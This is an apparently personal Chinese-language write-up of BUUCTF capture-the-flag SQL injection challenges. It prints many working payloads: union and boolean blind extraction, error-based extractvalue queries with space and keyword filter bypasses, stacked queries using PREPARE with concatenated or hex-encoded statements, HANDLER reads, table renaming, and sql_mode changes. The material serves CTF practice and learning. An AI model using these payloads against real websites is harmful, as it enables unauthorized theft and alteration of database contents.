BUUCTF SQL 刷题
BUUCTF SQL 刷题
sqltest
分析流量包,可以看出是布尔型 SQL 盲注的过程,注入语句不再具体分析,这里复习一下 wireshark 的使用
找到正确时的响应包
根据内容长度筛选
响应包中可以看到请求的 url
导出所有符合要求的响应包内容
写一个脚本正则匹配提取信息并输出 flag
1 |
|
BUU SQL COURSE
登录未能注入成功,浏览器观察网络模块发现新闻点击时可能存在注入,所以复制 url 开始尝试
?id=1 and 1=1
时仍是相同回显
?id=1 and 1=2
时无回显,说明为数字型
?id=1 order by 2
有正常回显,?id=1 order by 3
无,说明为 2 列
?id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema='news'
即可得到数据库名、表名
后续依次获取列名、内容即可
[极客大挑战 2019]EasySQL
尝试判断闭合类型,结尾使用注释
在密码 123 处报错,说明密码的闭合方式为双引号且注释未生效,尝试 1' and 1=1 -- -
未出现如上报错,注释成功,未出现其他报错,闭合方式正确,输入 1' order by 5 -- -
逐一尝试
1' order by 4 -- -
时报错,1' order by 3 -- -
未报错,说明 3 列
输入 1' union select 1,2,3 -- -
判断显示位置,直接结束。
其实直接 1' or 1=1 #
完事……
[GXYCTF2019]BabySQli
输入 1' and 1=1 -- -
,显示 do not hack me 发现有过滤,多试几个就发现 and、or、=均有过滤,尝试大小写成功绕过。
输入 1' Order By 3 -- -
无报错,1' Order By 4 -- -
报错,说明共三列
输入 1' union select 1,2,3 -- -
仍为 wrong user,没发现回显位置
但是发现注释如下(原本就有之前没看到),base32+base64 解密可得明文
select * from user where username = '$name'
那么逻辑应该就是先根据用户名查找,然后再校验密码。
用户名直接输入 admin,存在该用户,返回 wrong pass
已知一个用户名后用 union select 去探测一下用户名所在列,输入 1' union select 'admin',2,3 -- -
返回 wrong user,输入 1' union select 1,'admin',3 -- -
返回 wrong pass,说明用户名位于第二列,可以推测密码即第三列。
但是后面就不知道怎么搞了,只能去看源码,输入的密码 md5 加密后要与数据库第三列数据一致才能获得 flag。
网上搜索了一下,发现 union 联合查询时如果查询的数据不存在,就会构建一个虚拟的数据,可能这也是为什么 1' union select 1,2,3 -- -
可以探测回显位置,13 在表内原本不存在,union 查询后先构造了虚拟的 13 的数据,然后再读取返回到有回显的位置。
由于是先查询用户名再判断密码是否正确,所以本题可以利用 union 联合查询在用户名处注入,向密码列写入一个 md5 值,然后在密码处输入 md5 对应的明文,那么在查询完用户名后虚拟数据构造完成,判断密码时就将密码栏输入的内容 md5 加密后与虚拟数据的密码列内容比较,也就绕过了原本的密码。
1 |
|
[极客大挑战 2019]HardSQL
逐个尝试发现 and、=、>、<、空格、union 均被过滤,双写及大小写均无法绕过,但是存在报错信息,考虑报错注入。
输入 1'"
报错,use near '"' and password='123'' at line 1
,所以单引号闭合
输入 1'
报错,输入 1'#
不报错,#
成功注释
因为空格被过滤,括号正常,所以可以套括号代替空格。extractvalue()
函数去触发报错,concat()
拼接一下内容。输入 1'or(extractvalue(1,concat(0x7e,database())))#
,成功得到数据库名。
这里注意整个 select 语句外面也要套一层括号,用 like
代替 =
继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
,获得表名。
稍作修改,继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
,获得列名。
稍作修改,继续输入 1'or(extractvalue(1,concat(0x7e,(select(group_concat(username,0x7e,password))from(geek.H4rDsq1)))))#
,获得 username 和 password 列的内容。
显示不完全,用 substring(str,num1,num2)
函数调整位置,结果发现这个也过滤了,换用 right
尝试 1'or(extractvalue(1,concat(0x7e,right((select(group_concat(username,0x7e,password))from(geek.H4rDsq1)),30))))#
,成功,拼接即得 flag。
[极客大挑战 2019]FinalSQL
登录栏测了一下基本都过滤了,选择正确代码发现存在注入,但是 union、and、空格这些过滤了大部分,而且没有回显位,应该就是考布尔盲注。用 python 脚本二分法去跑结果
1 |
|
先跑所有数据库名
然后跑出 geek 库的表名
然后跑出 geek 库 Flaaaaag 表的列名
然后发现被骗了
换 F1naI1y 表跑,大概就这样,内容部分有错误。
[CISCN2019 华北赛区 Day2 Web1]Hack World
输入 1、2 均有结果,空格、+ 被过滤,发现 %20 可替代,and、or、union、information、(group、%20group、均过滤。
综合考虑,可以用 concat()代替 group_concat(),空格沿用前面一题的括号,information 可以改用 sys.schema_auto_increment_columns 查表,但是再一看题目已经给出 flag 所在表和列了,那就直接爆就好了。按我的注入语句来说,当 Hello, glzjin wants a girlfriend.出现的时候即判断正确,Error Occured When Fetch Result.出现即判断错误,其他即注入语句本身有误。
1 |
|
一开始先查了数据库,后面发现没必要
[强网杯 2019]随便注
刚学,先用 BP 和相关字典 fuzz 一下,可以比较高效地探测哪些函数、关键字、符号不可用
例如本题当输入 select
时直接给出了过滤的范围,联合注入可以排除
输入 1 or 1=1
时能正常回显
输入 1' or '1'='1
时同样正常
这个时候则会报错
说明后面还有查询语句,以单引号闭合,所以后面还要补上注释符 1' or 1=1#
,此时显示了所有内容
接下来尝试堆叠注入,要避免直接使用 select 和 where,1';show databases;#
查看数据库
继续查看表 1';show tables;#
接下来查看列可以使用 1'; show columns from tableName;#
或 1';desc tableName;#
。注意,如果 tableName 是纯数字,需要用反引号```包裹,所以输入 1';desc
1919810931114514 ;#
得到列名后想要获取具体内容一般都需要依靠 select 和 where,这里参考别人总结的四种方法学习尝试一下
方法一:预编译 + 字符串拼接绕过
通过预编译的方式拼接 select 关键字:1';PREPARE hacker from concat('s','elect', ' * from
1919810931114514 ');EXECUTE hacker;#
。预编译相当于定一个语句相同,参数不同的 Mysql 模板,我们可以通过预编译的方式,绕过特定的字符过滤。之前有学习过通过预编译防御 SQL 注入攻击,但这是第一次用预编译来绕过防护。
预编译的格式如下:
1 |
|
例如:正常查询使用 SElECT * FROM t_user WHERE USER_ID = 1
,预编译则可以如下操作
1 |
|
本题因为可以堆叠注入且过滤了 select 关键字,所以先将关键字拆开通过 concat 方法拼接并预编译,来绕过检测,然后再执行预编译好的查询语句获取 flag。
方法二:预编译 + 十六进制编码绕过
可以直接将 select * from
1919810931114514`` 语句进行 16 进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460
,替换 payload 预编译:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
基本原理同上
方法三:handler 替换 select(仅 MySQL)
1';HANDLER
1919810931114514 OPEN;HANDLER
1919810931114514 READ FIRST;HANDLER
1919810931114514 CLOSE;#
直接获取 flag
mysql 除可使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过 handler 语句并不具备 select 语句的所有功能,并且是 mysql 专用的语句,并没有包含到 SQL 标准中。
handler 使用格式:
1 |
|
本题即先用 handler 打开 1919810931114514
表,读取表的第一行数据,然后关闭表
方法四:根据原本查询语句的逻辑修改表名和列名(相对取巧)
我们输入 1 后,默认会显示 id 为 1 的数据,可以猜测默认显示的是 words 表的数据,那么只要更改目标表的名称和结构为 words 表、words 表改成其他名称,就可以达到利用原有查询语句直接查询 flag 字段的值的效果
修改表名、添加列的语法格式:
1 |
|
查看 words 表结构 1';desc words;#
总共两个字段 id 和 data,推测应该是输入 id 给出对应 data
那么我们可以把 words 表随便改成其他名称,然后把目标 1919810931114514 表改成 words,再把列名 flag 改成 data,在最前列添加 id 列即可实现查询
1'; alter table words rename to words1;alter table
1919810931114514 rename to words;alter table words change flag data varchar(50);alter table words add column id int(10) not null first;#
执行后,先读取了原本 words 表的 id=1 的 data 并返回输出
输入(id)0 查询,即得 flag
或者参考我所参考的知乎那篇 wp,直接将 flag 重命名为 id,然后 1' or 1=1#
查看所有内容
参考:
https://zhuanlan.zhihu.com/p/545713669
https://ek1ng.com/notes.html#%E5%BC%BA%E7%BD%91%E6%9D%AF2019-%E9%9A%8F%E4%BE%BF%E6%B3%A8
[SUCTF 2019]EasySQL
还是先用 BP 扫一遍,可以看到许多关键词如 and、from、information 被过滤,联合注入、报错注入基本排除
综合考虑先尝试堆叠注入,输入 1;show databases;#
,成功获取数据库名,说明是数字型无需其他闭合,且堆叠注入可行
继续输入 1;show tables;#
,发现 Flag 表
尝试 handler 读取 1;handler Flag open;handler Flag read first;handler Flag close;#
,结果发现 Flag 被过滤,因为 handler 和 from 被过滤,也无法使用前一题的预编译绕过,其他各种绕过方法试了一遍,过长时也会拦截,最后只能借鉴网上的 WP。
这道题需要推测查询语句的大致结构,这里的 sql 语句为 select $post['query']||flag from Flag
,表现出来的特征是输入非零时有回显,输入 0 或其他字符时均无回显或是报错,做题时需要根据这个特征推测才能继续做下去。
方法一:修改 sql_mode
修改 MySQL 服务的环境变量 sql_mode,用于设置 MySQL 支持的语法和数据校验模式。本题将 sql_mode 设为 pipes_as_concat
,作用是将 || 的作用由 or 变为拼接字符串。
所以输入 1;set sql_mode=PIPES_AS_CONCAT;select 1
时原有的查询语句就会将 select 1
和 select flag from Flag
的结果拼接在一起返回。
1 |
|
方法二:满足 || 的条件
如果 $post[‘query’]
的数据为 *,1
,sql 语句就变成了 select *,1||flag from Flag
,也就是 select *,1 from Flag
,可以直接查询出 Flag 表中的所有内容。输入 1;select *,1